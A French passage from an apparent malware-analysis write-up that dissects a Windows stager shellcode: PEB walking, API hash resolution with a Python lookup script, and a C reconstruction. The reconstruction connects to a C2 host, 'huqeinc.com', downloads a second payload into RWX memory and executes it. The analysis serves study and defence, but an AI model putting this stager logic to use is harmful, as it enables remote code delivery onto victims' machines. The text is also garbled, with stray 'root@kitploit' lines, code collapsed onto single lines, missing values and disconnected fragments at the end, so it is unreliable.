Après un prologue simple (empilement de tous les registres et création d’un nouveau cadre de pile), on voit `edx` être mis à zéro (par auto-XOR).
Ensuite, `edx` reçoit l’adresse de `fs:[0x30]`. Cette adresse est le [Process Environment Block (PEB)](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb).
Le PEB est un bloc en mode utilisateur qui contient des données utiles sur le processus, notamment sa ligne de commande, son état de débogage, les modules chargés, etc. C’est une amélioration des performances visant à éviter des appels système inutiles.
On voit plusieurs adresses être référencées — dans IDA, vous pourriez charger la structure PEB, mais par souci d’exhaustivité :
- L’offset 0xc est le membre `LDR` du `PEB`, de type `PPEB_LDR_DATA`, documenté [ici](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data).
- L’offset 0x14 dans la structure `PEB_LDR_DATA` est le membre `InMemoryOrderModuleList`, de type `LIST_ENTRY`. La structure `LIST_ENTRY` est très utilisée sous Windows et constitue généralement un simple en-tête dans une structure plus grande. Ce cas ne fait pas exception — le véritable type des entrées est `LDR_DATA_TABLE_ENTRY`.
- À l’offset 0x24 dans `LDR_DATA_TABLE_ENTRY` se trouve un membre `FullDllName` de type `UNICODE_STRING`. Ce type est très utilisé sous Windows et est essentiellement un conteneur pour une chaîne de type Pascal — les deux premiers WORD décrivent la longueur de la chaîne et sa capacité mémoire. Par conséquent, à l’offset 0x28, nous lions le tampon réel — qui sera enregistré dans le registre `esi`.
- Le registre `ecx` se trouve juste 2 octets avant le tampon du nom de DLL — et contient la longueur de la chaîne.

En résumé, tout ce bloc récupère le `FullDllName` dans l’entrée de module du PEB courant — enregistrant le tampon dans `esi` et sa longueur dans `ecx`.

## Calcul du hash du nom de module
Examinons les quelques instructions suivantes :```assembly
0x000000000000001c:  31 FF                      xor        edi, edi
0x000000000000001e:  31 C0                      xor        eax, eax
0x0000000000000020:  AC                         lodsb      al, byte ptr [esi]
0x0000000000000021:  3C 61                      cmp        al, 0x61
0x0000000000000023:  7C 02                      jl         0x27
0x0000000000000025:  2C 20                      sub        al, 0x20
0x0000000000000027:  C1 CF 0D                   ror        edi, 0xd
0x000000000000002a:  01 C7                      add        edi, eax
0x000000000000002c:  E2 F0                      loop       0x1e

L'instruction lodsb est exactement la raison pour laquelle la chaîne a été sauvegardée dans esi, pourquoi la longueur a été sauvegardée dans ecx et pourquoi le drapeau de direction a été effacé. Elle lit le premier caractère ANSI (octet) pointé par esi, incrémente esi de un et sauvegarde le résultat dans le registre al. Les parties suivantes convertissent les caractères minuscules en majuscules - si le code ASCII est supérieur ou égal à 0x61 ('a'), alors on soustrait 0x20. Après la conversion en majuscules, le registre edi est tourné vers la droite de 0xd, puis la valeur du caractère lui est ajoutée. Comme edi est tourné - il perd l'information sur les caractères qui lui sont ajoutés mais conserve une sorte d'agrégat de ceux-ci dans sa valeur. En d'autres termes - edi est une sorte de hachage de la chaîne pointée par esi. L'instruction loop, d'ailleurs, tire intelligemment parti du fait que ecx est le compteur de la longueur de la chaîne - elle décrémente de un et effectuera l'itération suivante tant que n'est pas nul. Traduire cette logique en Python est assez simple :```python def get_string_hash(s): v = 0 for c in s.upper(): v = (v >> 0xd) | ((v & 0x1fff) << 19) v = (v + ord(c)) & 0xffffffff return v

root@kitploit:~
## Parcourir la table d'exportation
Passons aux deux instructions suivantes :```assembly
0x000000000000002e:  52                         push       edx
0x000000000000002f:  57                         push       edi
0x0000000000000030:  8B 52 10                   mov        edx, dword ptr [edx + 0x10]
0x0000000000000033:  8B 42 3C                   mov        eax, dword ptr [edx + 0x3c]
0x0000000000000036:  01 D0                      add        eax, edx
0x0000000000000038:  8B 40 78                   mov        eax, dword ptr [eax + 0x78]
0x000000000000003b:  85 C0                      test       eax, eax
0x000000000000003d:  74 4A                      je         0x89
0x000000000000003f:  01 D0                      add        eax, edx
0x0000000000000041:  50                         push       eax
0x0000000000000042:  8B 48 18                   mov        ecx, dword ptr [eax + 0x18]
0x0000000000000045:  8B 58 20                   mov        ebx, dword ptr [eax + 0x20]
0x0000000000000048:  01 D3                      add        ebx, edx

D'abord, edx (qui contient l'entrée de module actuelle) et edi (qui contient le hash de son nom) sont sauvegardés sur la pile. Après cela, edx est référencé à l'offset 0x10. Comme nous sommes à 8 octets dans la structure (de type LDR_DATA_TABLE_ENTRY), 0x10 est le membre DllBase de l'entrée (0x18 - 0x8). Même en mémoire, le module possède une structure de données PE, et l'offset 0x3c correspond au pointeur de l'en-tête PE dans l'en-tête DOS. On peut voir eax traité comme une RVA puisqu'il additionne edx à lui-même - edx est l'adresse de base du module en mémoire. De même, l'offset 0x78 à partir de là est la table d'exportation PE, qui contient des informations sur les symboles exportés (généralement des fonctions). La structure de données correspondante est appelée IMAGE_EXPORT_DIRECTORY et elle est bien documentée. En supposant qu'elle n'est pas nulle (ce qui est é) - nous poussons et déréférençons deux parties de celle-ci :

  • À l'offset 0x18, on obtient le membre NumberOfNames.
  • À l'offset 0x20, on obtient le membre AddressOfNames. Donc, pour résumer, cette partie a effectué une analyse du PE pour obtenir la table d'exportation - et plus précisément le nombre de symboles exportés (dans ecx) et leur adresse en mémoire (dans ebx).

Continuons :```assembly 0x000000000000004a: E3 3C jecxz 0x88 0x000000000000004c: 49 dec ecx 0x000000000000004d: 8B 34 8B mov esi, dword ptr [ebx + ecx*4] 0x0000000000000050: 01 D6 add esi, edx

root@kitploit:~
L'instruction `jecxz` saute si `ecx` est zéro - cela se produit s'il n'y a pas de noms exportés, mais cela suggère aussi que cette vérification se fera dans une boucle.
Le fait que nous décrémentions `ecx` confirme cette suspicion - nous nous attendons à ce qu'une itération sur tous les symboles exportés corresponde à une certaine condition.
Nous voyons `ecx` multiplié par 4 et ajouté à `ebx` - tous les éléments de `AddressOfNames` sont des RVA vers les noms de symboles, et donc `esi` pointe finalement vers un nom exporté.```assembly
0x0000000000000052:  31 FF                      xor        edi, edi
0x0000000000000054:  31 C0                      xor        eax, eax
0x0000000000000056:  AC                         lodsb      al, byte ptr [esi]
0x0000000000000057:  C1 CF 0D                   ror        edi, 0xd
0x000000000000005a:  01 C7                      add        edi, eax
0x000000000000005c:  38 E0                      cmp        al, ah
0x000000000000005e:  75 F4                      jne        0x54

Cette partie ressemble au même calcul de hash que nous avons vu précédemment, mais au lieu d'utiliser ecx comme compteur, elle calcule le hash jusqu'à un terminateur NUL :

  • Premièrement, edi est initialisé à zéro (par auto-XOR). Comme précédemment, edi conservera la valeur du hash.
  • Le registre eax est également mis à zéro. Son octet de poids faible (al) contiendra le code ASCII du caractère courant à chaque itération.
  • À l'aide de lodsb, le code définit al comme étant l'octet pointé par esi et incrémente esi pour passer à l'octet suivant.
  • Comme précédemment, edi est soumis à une rotation à droite de 0xd fois, puis la valeur ASCII du caractère courant y est ajoutée.
  • La comparaison de al et ah compare en réalité simplement al à zéro (terminateur NUL), car aucune opération ici ne touche aux autres octets de eax et nous nous sommes assurés qu'ils sont nuls.

Nous nous attendons à ce que les prochaines parties effectuent une sorte de comparaison entre les différents hashs que nous avons calculés (nom de module, nom de symbole) et les entrées que nous avons reçues :```assembly 0x0000000000000060: 03 7D F8 add edi, dword ptr [ebp - 8] 0x0000000000000063: 3B 7D 24 cmp edi, dword ptr [ebp + 0x24] 0x0000000000000066: 75 E2 jne 0x4a 0x0000000000000068: 58 pop eax 0x0000000000000069: 8B 58 24 mov ebx, dword ptr [eax + 0x24] 0x000000000000006c: 01 D3 add ebx, edx 0x000000000000006e: 66 8B 0C 4B mov cx, word ptr [ebx + ecx2] 0x0000000000000072: 8B 58 1C mov ebx, dword ptr [eax + 0x1c] 0x0000000000000075: 01 D3 add ebx, edx 0x0000000000000077: 8B 04 8B mov eax, dword ptr [ebx + ecx4] 0x000000000000007a: 01 D0 add eax, edx 0x000000000000007c: 89 44 24 24 mov dword ptr [esp + 0x24], eax 0x0000000000000080: 5B pop ebx 0x0000000000000081: 5B pop ebx 0x0000000000000082: 61 popad
0x0000000000000083: 59 pop ecx 0x0000000000000084: 5A pop edx 0x0000000000000085: 51 push ecx 0x0000000000000086: FF E0 jmp eax

root@kitploit:~
Eh bien, `ebp-8` pointe exactement vers l'ancienne valeur de `edi` que nous avons poussée - qui contenait le hash du nom du module défini.
Nous ajoutons cette valeur de hash à celle du nom exporté, et comparons cela au DWORD à `ebp+0x24`.
En raison d'une instruction `pushad` précédente, nous avons poussé 8 registres, donc cela pointe directement vers la dernière valeur mystère qui a été poussée au début (0x726774c)!
S'ils ne sont pas égaux - nous sautons à l'offset `0x4a` pour passer au symbole suivant dans le même module.
Sinon, nous restaurons la table d'exportation dans `eax`, déréférençons 0x24 octets plus loin (ce qui est la table des ordinaux) et l'ajoutons à la base `ebx`.
La table des ordinaux contient 2 octets pour chaque entrée - et puisque `ecx` est le numéro d'entrée, `ebx + ecx*2` est la valeur ordinale.
Les deux lignes suivantes sont simples: `0x1c` dans la table d'exportation est l'adresse des fonctions exportées, et `ebx + ecx*4` représente l'adresse de la fonction indexée par `ecx`.
Comme on peut le voir, cette valeur est sauvegardée dans `eax` et finit par être appelée:
- Sauvegarder la valeur de `eax` dans `esp + 0x24`, qui à ce moment est exactement l'endroit où le registre `eax` a été sauvegardé par l'instruction `pushad`. Cela garantit que la valeur de `eax` ne soit pas perdue lorsque nous exécutons `popad`.
- Effectuer deux pop factices dans `ebx` pour se débarrasser de deux push précédents (le hash calculé et l'entrée du module).
- Exécuter un `popad`, qui restaure tous les registres généraux depuis la pile, mais préserve `eax` grâce à notre écrasement précédent. À ce stade, la pile et les registres ont retrouvé leur état d'origine lors de l'entrée dans la fonction, sauf `eax` qui est un pointeur de fonction souhaité.
- Dépiler la valeur de retour (poussée par `call ebp`) dans `ecx` et le hash souhaité dans `edx`, puis re-pousser `ecx`, ce qui élimine essentiellement la valeur de hash mystère de la pile.
- Exécuter `jmp eax` à ce stade termine la fonction - la fonction pointée par `eax` s'exécutera, et lorsqu'elle retournera, elle utilisera la valeur de retour d'origine.

La dernière partie de cette longue logique se poursuit essentiellement vers le module suivant:```assembly
0x0000000000000088:  58                         pop        eax
0x0000000000000089:  5F                         pop        edi
0x000000000000008a:  5A                         pop        edx
0x000000000000008b:  8B 12                      mov        edx, dword ptr [edx]
0x000000000000008d:  EB 86                      jmp        0x15

Ceci permettra essentiellement de nettoyer les précédents pushes et de passer à l'offset 0x15, où le module suivant va être utilisé.

Pour résumer — tout le shellcode entre les offsets 6 et 0x8d (inclus) s'attend à ce que des paramètres soient poussés pour une fonction, suivis d'un hash personnalisé. Lorsque le hash correspond — la fonction concernée est appelée. C'est certainement une belle façon d'éviter d'avoir des chaînes de noms de fonctions dans votre code !

Puisque nous allons examiner ces hashs assez souvent, il est bon d'automatiser notre travail. Réutilisons les scripts Python que nous avons codés précédemment et écrivons une fonction qui recherche un hash donné :```python import os import pefile import sys

BASE_DIR = os.path.join(os.environ['WINDIR'], 'system32')

def get_string_hash(s): v = 0 for c in s: v = (v >> 0xd) | ((v & 0x1fff) << 19) v = (v + ord(c)) & 0xffffffff return v

def get_lib_hash(s): return get_string_hash(''.join([ i + '\x00' for i in (s + '\x00').upper() ]))

def get_sym_hash(s): return get_string_hash(s + '\x00')

def find_by_hash(hash, dll_postfix): for dll_name in os.listdir(BASE_DIR): if not dll_name.endswith(dll_postfix): continue dll_path = os.path.join(BASE_DIR, dll_name) dll_hash = get_lib_hash(dll_name) pe = pefile.PE(dll_path) if pe is None or not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): continue syms = [ sym.name.decode() for sym in pe.DIRECTORY_ENTRY_EXPORT.symbols if sym.name is not None ] for s in syms: if (get_sym_hash(s) + dll_hash) & 0xFFFFFFFF == hash: print('%s!%s' % (dll_name, s)) return print('Coult not find hash!')

if name == 'main': if len(sys.argv) > 1: dll_postfix = '.dll' if len(sys.argv) == 2 else sys.argv[2] num = int(sys.argv[1], 16) if 'x' in sys.argv[1] else int(sys.argv[1]) find_by_hash(num, dll_postfix)

root@kitploit:~
Par exemple, lorsque nous exécutons `get_hash.py 0x726774c kernel32.dll`, nous obtenons la sortie `kernel32.dll!LoadLibraryA` !

## Analyse de la logique principale
Maintenant que nous comprenons comment fonctionne toute la fonctionnalité de hachage, il est temps de passer à la chasse aux hachages !
Revenons à la logique principale — nous avons dit que la chaîne `wininet` est poussée sur la pile — et maintenant nous savons que `LoadLibraryA` est appelée avec elle.
Les parties suivantes sont maintenant :```assembly
0x00000000000000a2:  E8 00 00 00 00             call       0xa7
0x00000000000000a7:  31 FF                      xor        edi, edi
0x00000000000000a9:  57                         push       edi
0x00000000000000aa:  57                         push       edi
0x00000000000000ab:  57                         push       edi
0x00000000000000ac:  57                         push       edi
0x00000000000000ad:  57                         push       edi
0x00000000000000ae:  68 3A 56 79 A7             push       0xa779563a
0x00000000000000b3:  FF D5                      call       ebp

Le call pousse l'adresse de retour sur la pile (0xa7). Ensuite, on met edi à zéro et on pousse 5 zéros sur la pile. Le 0xa779563a est un autre hash, cette fois dans wininet.dll, car get_hash.py 0xa779563a donne wininet.dll!InternetOpenA. Par conséquent, le code appelle InternetOpenA avec des zéros et des NULL. Il y a quelques sauts qui aboutissent à un appel de retour à l'offset 0xba :```assembly 0x00000000000000b5: E9 A4 00 00 00 jmp 0x15e 0x00000000000000ba: 5B pop ebx ... 0x000000000000015e: E9 C9 01 00 00 jmp 0x32c ... 0x000000000000032c: E8 89 FD FF FF call 0xba 0x0000000000000331: 68 75 71 65 69 push 0x69657175 0x0000000000000336: E6 outs dx, byte ptr ds:[esi] ...

root@kitploit:~
L'idée est que lorsque nous revenons - nous aurons l'adresse du décalage `0x331` poussée.
J'ai ajouté quelques instructions d'assemblage à cette adresse - notez que `outs`, par exemple, n'est pas ce à quoi nous nous attendons.
Examiner ces octets *en tant que données* donne une tout autre histoire :```python
binascii.unhexlify('68757165696e632e636f6d005d44fd6d')

Cela produit la chaîne huqeinc.com (avec un terminateur NUL), suivie de 4 octets inintelligibles. Ainsi, lorsque nous revenons à l'adresse 0xba, nous faisons un pop vers ebx, qui pointera vers cette chaîne. Examinons les parties qui suivent cette instruction :```assembly 0x00000000000000bb: 31 C9 xor ecx, ecx 0x00000000000000bd: 51 push ecx 0x00000000000000be: 51 push ecx 0x00000000000000bf: 6A 03 push 3 0x00000000000000c1: 51 push ecx 0x00000000000000c2: 51 push ecx 0x00000000000000c3: 68 BB 01 00 00 push 0x1bb 0x00000000000000c8: 53 push ebx 0x00000000000000c9: 50 push eax 0x00000000000000ca: 68 57 89 9F C6 push 0xc69f8957 0x00000000000000cf: FF D5 call ebp

root@kitploit:~
La valeur `0xc69f8957` est un autre hash, cette fois pour `wininet.dll!InternetConnectA`.
Cette fonction reçoit beaucoup de paramètres, mais essentiellement nous obtenons : `InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL)`.
Notez que `INTERNET_SERVICE_HTTP` vaut 3, `0x1bb` vaut 443, et `eax` contenait le résultat de `InternetOpenA`.

En avançant, nous voyons un ensemble similaire de sauts après avoir sauvegardé le résultat de `InternetConnectA` :```assembly
0x00000000000000d1:  50                         push       eax
0x00000000000000d2:  E9 8C 00 00 00             jmp        0x163
0x00000000000000d7:  5B                         pop        ebx
0x00000000000000d8:  31 D2                      xor        edx, edx
0x00000000000000da:  52                         push       edx
0x00000000000000db:  68 00 32 C0 84             push       0x84c03200
0x00000000000000e0:  52                         push       edx
0x00000000000000e1:  52                         push       edx
0x00000000000000e2:  52                         push       edx
0x00000000000000e3:  53                         push       ebx
0x00000000000000e4:  52                         push       edx
0x00000000000000e5:  50                         push       eax
0x00000000000000e6:  68 EB 55 2E 3B             push       0x3b2e55eb
0x00000000000000eb:  FF D5                      call       ebp
...
0x0000000000000163:  E8 6F FF FF FF             call       0xd7
0x0000000000000168:  2F                         das        
0x0000000000000169:  51                         push       ecx
0x000000000000016a:  70 59                      jo         0x1c5
...

Tout comme précédemment, les instructions après l'appel ont moins de sens, nous suspectons donc qu'elles doivent être interprétées comme des données. En effet, elles encodent la chaîne terminée par NUL /QpYB, ce qui n'est pas très utile. Nous notons que lorsque nous revenons à l'offset 0xd7, un pointeur vers cette chaîne est poussé sur la pile. En revenant à 0xd7, cette adresse est dépilée dans ebx. Pour comprendre ce que ces données signifient, déterminons quelle fonction est appelée. Le hash 0x3b2e55eb correspond à wininet.dll!HttpOpenRequestA, qui reçoit également de nombreux paramètres. La plupart de ces paramètres seront NULL (en raison du push de edx), à l'exception des suivants :

  • hConnect est eax, qui est le résultat de InternetConnectA.
  • lpszObjectName est la chaîne que nous avons vue (/QpYB).
  • dwFlags contient la valeur 0x84c03200, qui, selon cette page, est INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD.

Les deux instructions suivantes se terminent par un autre appel d'API :```assembly 0x00000000000000ed: 89 C6 mov esi, eax 0x00000000000000ef: 83 C3 50 add ebx, 0x50 0x00000000000000f2: 68 80 33 00 00 push 0x3380 0x00000000000000f7: 89 E0 mov eax, esp 0x00000000000000f9: 6A 04 push 4 0x00000000000000fb: 50 push eax 0x00000000000000fc: 6A 1F push 0x1f 0x00000000000000fe: 56 push esi 0x00000000000000ff: 68 75 46 9E 86 push 0x869e4675 0x0000000000000104: FF D5 call ebp

root@kitploit:~
Après avoir sauvegardé les résultats de `HttpOpenRequestA` dans `esi`, on ajoute 0x50 à `ebx`.
Comme `ebx` est garanti de persister entre les appels, il pointera désormais vers l'offset `0x1b8` dans le shellcode, qui, présenté sous forme de chaîne, ressemble à ceci : `User-Agent: Microsoft-CryptoAPI/6.1\r\n`.
Le hash `0x869e4675` résout l'API `wininet.dll!InternetSetOptionA`, qui recevra les arguments suivants :
- Le handle de requête qui a été sauvegardé dans `esi`.
- La valeur `0x1f` comme `dwOption`, qui est `INTERNET_OPTION_SECURITY_FLAGS` selon [cette page](https://learn.microsoft.com/en-us/windows/win32/wininet/option-flags).
- Le paramètre `lpBuffer` sera un pointeur vers la valeur `0x3380`, qui encode les drapeaux de sécurité de la requête : `WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID`.
- Le `dwBufferLength` vaut 4, car seul un DWORD a été défini comme `lpBuffer`.

Cela fera en sorte que la connexion utilise TLS mais ignore toutes les erreurs de certificat, etc.

Voici les parties suivantes :```assembly
0x0000000000000106:  5F                         pop        edi
0x0000000000000107:  31 FF                      xor        edi, edi
0x0000000000000109:  57                         push       edi
0x000000000000010a:  57                         push       edi
0x000000000000010b:  6A FF                      push       -1
0x000000000000010d:  53                         push       ebx
0x000000000000010e:  56                         push       esi
0x000000000000010f:  68 2D 06 18 7B             push       0x7b18062d
0x0000000000000114:  FF D5                      call       ebp
0x0000000000000116:  85 C0                      test       eax, eax
0x0000000000000118:  0F 84 CA 01 00 00          je         0x2e8
0x000000000000011e:  31 FF                      xor        edi, edi
0x0000000000000120:  85 F6                      test       esi, esi
0x0000000000000122:  74 04                      je         0x128
0x0000000000000124:  89 F9                      mov        ecx, edi
0x0000000000000126:  EB 09                      jmp        0x131
0x0000000000000128:  68 AA C5 E2 5D             push       0x5de2c5aa
0x000000000000012d:  FF D5                      call       ebp
0x000000000000012f:  89 C1                      mov        ecx, eax
0x0000000000000131:  68 45 21 5E 31             push       0x315e2145
0x0000000000000136:  FF D5                      call       ebp
0x0000000000000138:  31 FF                      xor        edi, edi
0x000000000000013a:  57                         push       edi
0x000000000000013b:  6A 07                      push       7
0x000000000000013d:  51                         push       ecx
0x000000000000013e:  56                         push       esi
0x000000000000013f:  50                         push       eax
0x0000000000000140:  68 B7 57 E0 0B             push       0xbe057b7
0x0000000000000145:  FF D5                      call       ebp
0x0000000000000147:  BF 00 2F 00 00             mov        edi, 0x2f00
0x000000000000014c:  39 C7                      cmp        edi, eax
0x000000000000014e:  75 07                      jne        0x157
0x0000000000000150:  58                         pop        eax
0x0000000000000151:  50                         push       eax
0x0000000000000152:  E9 7B FF FF FF             jmp        0xd2
0x0000000000000157:  31 FF                      xor        edi, edi
0x0000000000000159:  E9 91 01 00 00             jmp        0x2ef

Il y a un pop factice pour nettoyer les sur-push précédents (nous avons poussé les options de sécurité sur la pile). Comme nous voyons un autre hash (0x7b18062d), nous résolvons immédiatement son API : wininet.dll!HttpSendRequestA. Il y a quelques points notables ici :

  • Le user agent sauvegardé plus tôt dans ebx est utilisé comme second argument de la fonction.
  • Après l'appel de la fonction, une vérification est effectuée pour voir si elle a réussi - si elle a échoué - nous sautons à l'offset 0x2e8.
  • Vérifier si esi est nul revient en réalité à vérifier si le handle de requête n'est pas NULL. C'est assez étrange puisque nous avons déjà invoqué HttpSendRequestA à ce stade, mais néanmoins - s'il l'était, nous sautons à 0x128.
  • À l'offset 0x128, nous utilisons le hash 0x5de2c5aa, qui est kernel32.dll!GetLastError, et stockons son résultat dans ecx.
  • À l'offset 0x131, nous utilisons le hash 0x315e2145, qui est user32.dll!GetDesktopWindow, puis nous utilisons ce résultat avec le hash , qui est .

L'idée est simplement d'appeler InternetErrorDlg et de voir si une nouvelle tentative est requise. Rappelons également : si HttpSendRequestA échoue - nous sautons à 0x2e8. S'il réussit et qu'une nouvelle tentative n'est pas requise - nous sautons à 0x2ef. Examinons l'offset 0x2e8 (le chemin d'échec) :```assembly 0x00000000000002e8: 68 F0 B5 A2 56 push 0x56a2b5f0 0x00000000000002ed: FF D5 call ebp

root@kitploit:~
Le hash correspond à `kernel32.dll!ExitProcess`, donc en cas d'échec - nous quittons le processus.
Cette partie entière pourrait être traduite comme suit :```c
if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0))
{
	ExitProcess(0);
}
if (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA, NULL))
{
	goto lblRetryConn;
}
...

Exécution d'un autre shellcode

Examinons ce qui se passe à l'offset 0x2ef :```assembly 0x00000000000002ef: 6A 40 push 0x40 0x00000000000002f1: 68 00 10 00 00 push 0x1000 0x00000000000002f6: 68 00 00 40 00 push 0x400000 0x00000000000002fb: 57 push edi 0x00000000000002fc: 68 58 A4 53 E5 push 0xe553a458 0x0000000000000301: FF D5 call ebp 0x0000000000000303: 93 xchg ebx, eax 0x0000000000000304: B9 00 00 00 00 mov ecx,0x0 0x0000000000000309: 01 D9 add ecx,ebx 0x000000000000030b: 51 push ecx 0x000000000000030c: 53 push ebx 0x000000000000030d: 89 E7 mov edi, esp 0x000000000000030f: 57 push edi 0x0000000000000310: 68 00 20 00 00 push 0x2000 0x0000000000000315: 53 push ebx 0x0000000000000316: 56 push esi 0x0000000000000317: 68 12 96 89 E2 push 0xe2899612 0x000000000000031c: FF D5 call ebp 0x000000000000031e: 85 C0 test eax, eax 0x0000000000000320: 74 C6 je 0x2e8

root@kitploit:~
Pouvez-vous deviner ce qu'est le hash `0xe553a458` à partir de ces autres constantes ?
- `0x40` est `PAGE_EXECUTEREADWRITE` comme nous l'avons vu précédemment.
- `0x1000` est `MEM_COMMIT`.
En effet, ce hash correspond à `kernel32.dll!VirtualAlloc`, et nous allouons simplement un bloc RWX de taille `0x400000`.
Il est important de deviner la logique de l'attaquant ici : puisque nous avons une connexion internet vers un serveur C2, et que nous allouons maintenant une page RWX, nous nous attendons à recevoir un autre payload !

Après cet appel, le tampon mémoire résultant est enregistré dans `ebx` et `ecx`.
À l'offset `0x30b`, nous commençons une autre série de `push` sur la pile pour un appel de fonction, cette fois avec le hash `0xe2899612` (`wininet.dll!InternetReadFile`).
Les `push` imposent les paramètres (dans l'ordre inverse) :
- `hFile` est `esi`, qui correspond à notre requête internet (de type `HINTERNET`).
- `lpBuffer` est `ebx` - notre tampon nouvellement alloué.
- `dwNumberOfBytesToRead` est défini à `0x2000`.
- `lpdwNumberOfBytesRead` est `edi`, qui pointe vers l'espace libre que nous avons alloué sur la pile.

Enfin, si cette fonction échoue, nous sautons à `0x2e8`, qui appellera à nouveau `ExitProcess`.
Notez qu'il y a une instruction `push` supplémentaire de `ecx` (offset `0x30b`) - cela signifie que nous avons sauvegardé l'adresse de notre tampon alloué.

Nous sommes presque à la fin ! Examinons les dernières instructions :```assembly
0x0000000000000322:    8B 07                      mov        eax, dword ptr [edi]
0x0000000000000324:    01 C3                      add        ebx, eax
0x0000000000000326:    85 C0                      test       eax, eax
0x0000000000000328:    75 E5                      jne        0x30f
0x000000000000032a:    58                         pop        eax
0x000000000000032b:    C3                         ret

Eh bien, edi pointait vers le nombre d'octets lus - il est déréférencé dans eax. Ensuite, nous ajoutons cette valeur à ebx, qui est préservé et pointe vers notre région mémoire RWX. Si eax n'est pas nul, cela signifie que des octets ont été lus, donc nous sautons à nouveau vers 0x30f pour lire davantage de données. C'est courant dans les scénarios de lecture - nous lisons au maximum 0x2000 octets à chaque fois jusqu'à lire 0, ce qui signifie qu'il ne reste plus d'octets à lire. Si nous ne sautons pas, nous sommes à 0x32a, où nous pop les octets alloués depuis la pile et appelons ret. Pour rappel, nous avons poussé le début du tampon renvoyé auparavant, donc ret l'utilisera comme adresse de retour. Cela signifie que nous sautons simplement vers le tampon obtenu - le traitant essentiellement comme un autre shellcode !

Tout assembler

Voici à quoi pourrait ressembler conceptuellement notre shellcode :```c HINTERNET hInternet; HINTERNET hConnect; HINTERNET hRequest; DWORD dwSecurityOptions = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; DWORD dwErrorFlags = FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA; PBYTE pcPayload; PBYTE pcCurrPtr; DWORD dwBytesRead; INT (*pfnPayload)();

// Make sure "wininet.dll" is loaded in current process LoadLibraryA("wininet");

// Connect to C2 hInternet = InternetOpenA(NULL, 0, NULL, NULL, 0); hConnect = InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);

// Attempt to create a request to C2 do { hRequest = HttpOpenRequestA(hConnect, NULL, "/QpYB", NULL, NULL, NULL, INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD, NULL); InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwSecurityOptions, sizeof(dwSecurityOptions)); if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0)) { ExitProcess(0); } } while (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, dwErrorFlags, NULL));

// Allocate RWX payload pcPayload = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTEREADWRITE);

// Read payload from the C2 pcCurrPtr = pcPayload; do { if (!InternetReadFile(hRequest, pcCurrPtr, 0x2000, &dwBytesRead)) { ExitProcess(0); } pcCurrPtr += dwBytesRead; } while (0 < dwBytesRead);

// Execute payload pfnPayload = (INT(*)())pcPayload; pfnPayload();

root@kitploit:~
## Résumé
Bien que ce soit un shellcode très courant à examiner, son analyse statique présente des avantages pédagogiques :
- Nous avons extrait plusieurs couches de code PowerShell pour obtenir un shellcode 32 bits.
- Au cours de l'analyse du shellcode, nous avons abordé le `PEB` et la stratégie de shellcoding sous Windows.
- Nous avons développé un outil de recherche de hash inversé (voir `get_hash.py` dans ce dépôt).
- Nous avons discuté de techniques courantes de shellcode telles que `push-ret` et `call-pop`.
- Nous avons effleuré certaines parties de la structure du fichier `PE`.

Merci,

Jonathan Bar Or (https://jonathanbaror.com)
Télécharger l’outil
MEM_COMMIT | MEM_RESERVE
PAGE_EXECUTEREADWRITE
  • Le payload stocké dans $var_code (qui a été décodé en base64 et XORé avec la constante 35) est copié dans le buffer puis exécuté (via le délégué $var_runme).
  • Remarquez la dernière partie du code : elle vérifie si la taille du pointeur est de 8. Si c'est le cas (c'est-à-dire process 64 bits), il s'exécutera en tant que nouveau job 32 bits. Sinon, il exécute simplement $DoIt.
  • ecx
    ecx
    test
    eax
  • Au lieu d'utiliser l'instruction loop (qui interagit avec ecx), nous revenons simplement en arrière (avec jne) tant que nous n'avons pas rencontré de terminateur NUL.
  • 0xbe057b7
    wininet.dll!InternetErrorDlg
  • La constante 0x2f00 est ERROR_INTERNET_FORCE_RETRY, et nous comparons le résultat de InternetErrorDlg avec elle.